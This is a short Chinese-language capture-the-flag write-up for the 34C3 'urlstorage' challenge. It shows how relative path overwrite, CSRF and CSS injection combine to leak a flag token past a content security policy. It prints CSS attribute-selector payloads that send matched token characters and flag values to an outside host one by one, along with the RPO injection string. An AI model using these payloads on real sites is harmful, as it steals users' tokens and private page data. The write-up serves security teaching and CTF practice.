也是一個超高質量的題目，rpo獲取網頁信息，不過有一個非預期，nginx沒有配置好，導致可以讀取文件然后拿到flag。
如果對rpo攻擊不熟悉的話，可以先看看這
RPO攻擊
幾個信息點
1、csrf，個人的url地址保存的時候是可以進行csrf的
結合網頁加載的css，可導致rpo漏洞.
%0a%0d%0a%0a%0d%0a*%7B%7D*{}*{background:red}*{}*%0a%0d%0a
2、token處存在xss，有64字符的長度限制.
3、csp防御
frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-src 'self';
獲取flag token鏈接
回到第一個rpo地方，可以通過css選擇器去一個個匹配網頁鏈接中的內容，然后再傳輸出來
第一位字符:
a[href^=flag\?token\=0]{background: url(//xxx.pw/rpo/?c=1);}
a[href^=flag\?token\=1]{background: url(//xxx.pw/rpo/?c=1);}
...
a[href^=flag\?token\=f]{background: url(//xxx.pw/rpo/?c=f);}
第二位字符:
a[href^=flag\?token\=10]{background: url(//xxx.pw/rpo/?c=10);}
a[href^=flag\?token\=11]{background: url(//xxx.pw/rpo/?c=11);}
其中還牽涉到一個問題，每次用戶登錄的后其token也在改變，所以需要在一次攻擊中獲取完。
可以通過循環調用的形式不斷的獲取剩下的字符。
進入token獲取flag
這里有一個坑點就是，css選擇器在匹配的時候首字符不能是數字，flag的格式為34C3，本地可測試一下
<input id=flag name=flag value="34C3_test">
<input id=blah name=blah value="foo">
<style>
#flag[value^=34C3]{background: url(http://xxx.pw?34c3);}
#blah[value^=foo]{background: url(http://xxx.pw?foo);}
</style>
發現瀏覽器只會發出foo的請求，對於這個可以有兩種方式解決
1、使用css的*模糊匹配
#flag[value*=C3_1]{background: url(http://xxx.pw/?flag=C3_1);}
2、使用16進制編碼
#flag[value^=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}
最后利用base標簽，加載urlstorage的頁面rpo，然后去獲取flag值
exploit:
https://github.com/eboda/34c3ctf/blob/master/urlstorage/exploit/exploit.php